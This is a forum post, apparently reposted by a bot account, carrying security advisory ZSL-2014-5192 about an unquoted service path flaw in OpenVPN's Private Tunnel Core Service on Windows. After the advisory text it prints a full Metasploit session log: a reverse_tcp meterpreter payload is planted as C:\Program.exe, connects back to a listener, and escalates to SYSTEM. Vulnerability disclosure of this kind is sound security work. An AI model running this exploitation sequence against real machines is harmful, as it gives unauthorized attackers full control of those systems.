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OpenVPN Private Tunnel Core Service Unquoted Service Path Elevation Of Privilege

Дискусија во форумот 'Ранливости // Експлоити // Закрпи' започната од zeroscience, 11 Јули 2014.

  1. zeroscience

    zeroscience
    ZSL Bot v4.89.1.00

    627
    513
    31 Мај 2010
    Код:
    OpenVPN Private Tunnel Core Service Unquoted Service Path Elevation Of Privilege
    
    
    Vendor: OpenVPN Technologies, Inc
    Product web page: http://www.openvpn.net
    Affected version: 2.1.28.0 (PrivateTunnel 2.3.8)
    
    Summary: Private Tunnel is a new approach to true Internet security creating
    a Virtual Private Tunnel (VPT) or Virtual Private Network (VPN) that encrypts,
    privatizes, and protects your Internet traffic.
    
    Desc: Private Tunnel application suffers from an unquoted search path issue
    impacting the Core Service 'ptservice' service for Windows deployed as part
    of PrivateTunnel bundle. This could potentially allow an authorized but
    non-privileged local user to execute arbitrary code with elevated privileges
    on the system.  A successful attempt would require the local user to be able
    to insert their code in the system root path undetected by the OS or other
    security applications where it could potentially be executed during application
    startup or reboot.  If successful, the local user's code would execute with the
    elevated privileges of the application.
    
    Tested on: Microsoft Windows 7 Professional SP1 (EN)
               Microsoft Windows XP Professional SP3 (EN)
    
    
    Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                                @zeroscience
    
    
    Advisory ID: ZSL-2014-5192
    Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2014-5192.php
    
    
    07.07.2014
    
    ---
    
    
    C:\Users\user>sc qc ptservice
    [SC] QueryServiceConfig SUCCESS
    
    SERVICE_NAME: ptservice
            TYPE               : 10  WIN32_OWN_PROCESS
            START_TYPE         : 2   AUTO_START
            ERROR_CONTROL      : 1   NORMAL
            BINARY_PATH_NAME   : C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe
            LOAD_ORDER_GROUP   :
            TAG                : 0
            DISPLAY_NAME       : Private Tunnel Core Service
            DEPENDENCIES       :
            SERVICE_START_NAME : LocalSystem
    
    C:\Users\user>icacls "C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe"
    C:\Program Files (x86)\OpenVPN Technologies\PrivateTunnel\ptservice.exe NT AUTHORITY\SYSTEM:(I)(F)
                                                                            BUILTIN\Administrators:(I)(F)
                                                                            BUILTIN\Users:(I)(RX)
    
    Successfully processed 1 files; Failed processing 0 files
    
    C:\Users\user>
    
    Код:
    msf exploit(trusted_service_path) > sessions  -l
    
    Active sessions
    ===============
    
      Id  Type                   Information                            Connection
      --  ----                   -----------                            ----------
      1   meterpreter x86/win32  USER-3B7A467EE8\Administrator @ USER-3B7A467EE8  192.168.0.105:4444 -> 192.168.0.101:1033 (192.168.0.101)
    
    msf exploit(trusted_service_path) > sessions -i 1
    [*] Starting interaction with 1...
    
    meterpreter > getuid
    Server username: USER-3B7A467EE8\Administrator
    meterpreter > background
    [*] Backgrounding session 1...
    msf exploit(trusted_service_path) > show options
    
    Module options (exploit/windows/local/trusted_service_path):
    
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       SESSION  1                yes       The session to run this module on.
    
    
    Payload options (windows/meterpreter/reverse_tcp):
    
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  process          yes       Exit technique: seh, thread, process, none
       LHOST     192.168.0.105    yes       The listen address
       LPORT     4444             yes       The listen port
    
    
    Exploit target:
    
       Id  Name
       --  ----
       0   Windows
    
    
    msf exploit(trusted_service_path) > set LPORT 5555
    LPORT => 5555
    msf exploit(trusted_service_path) > exploit
    
    [*] Started reverse handler on 192.168.0.105:5555
    [*] Finding a vulnerable service...
    [*] Found vulnerable service: ptservice - C:\Program Files\OpenVPN Technologies\PrivateTunnel\ptservice.exe (LocalSystem)
    [*] Placing C:\Program.exe as ptservice
    [*] Writing 73802 bytes to C:\Program.exe...
    [*] Launching service ptservice...
    [*] Sending stage (770048 bytes) to 192.168.0.101
    [*] Meterpreter session 2 opened (192.168.0.105:5555 -> 192.168.0.101:1037) at 2014-07-10 02:44:02 -0400
    [*] Session ID 2 (192.168.0.105:5555 -> 192.168.0.101:1037) processing InitialAutoRunScript 'migrate -f'
    [*] Current server process: Program.exe (3088)
    [*] Spawning notepad.exe process to migrate to
    [+] Migrating to 2720
    [+] Successfully migrated to process
    [*] Deleting C:\Program.exe
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter > background
    [*] Backgrounding session 2...
    msf exploit(trusted_service_path) > sessions -l
    
    Active sessions
    ===============
    
      Id  Type                   Information                            Connection
      --  ----                   -----------                            ----------
      1   meterpreter x86/win32  USER-3B7A467EE8\Administrator @ USER-3B7A467EE8  192.168.0.105:4444 -> 192.168.0.101:1033 (192.168.0.101)
      2   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ USER-3B7A467EE8  192.168.0.105:5555 -> 192.168.0.101:1037 (192.168.0.101)
    
    msf exploit(trusted_service_path) > sessions -i 1
    [*] Starting interaction with 1...
    
    meterpreter > getuid
    Server username: USER-3B7A467EE8\Administrator
    meterpreter > background
    [*] Backgrounding session 1...
    msf exploit(trusted_service_path) > sessions -i 2
    [*] Starting interaction with 2...
    
    meterpreter > getuid
    Server username: NT AUTHORITY\SYSTEM
    meterpreter >
    
    

    http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2014-5192.php
     
    На kirev и LiquidWorm им се допаѓа ова.

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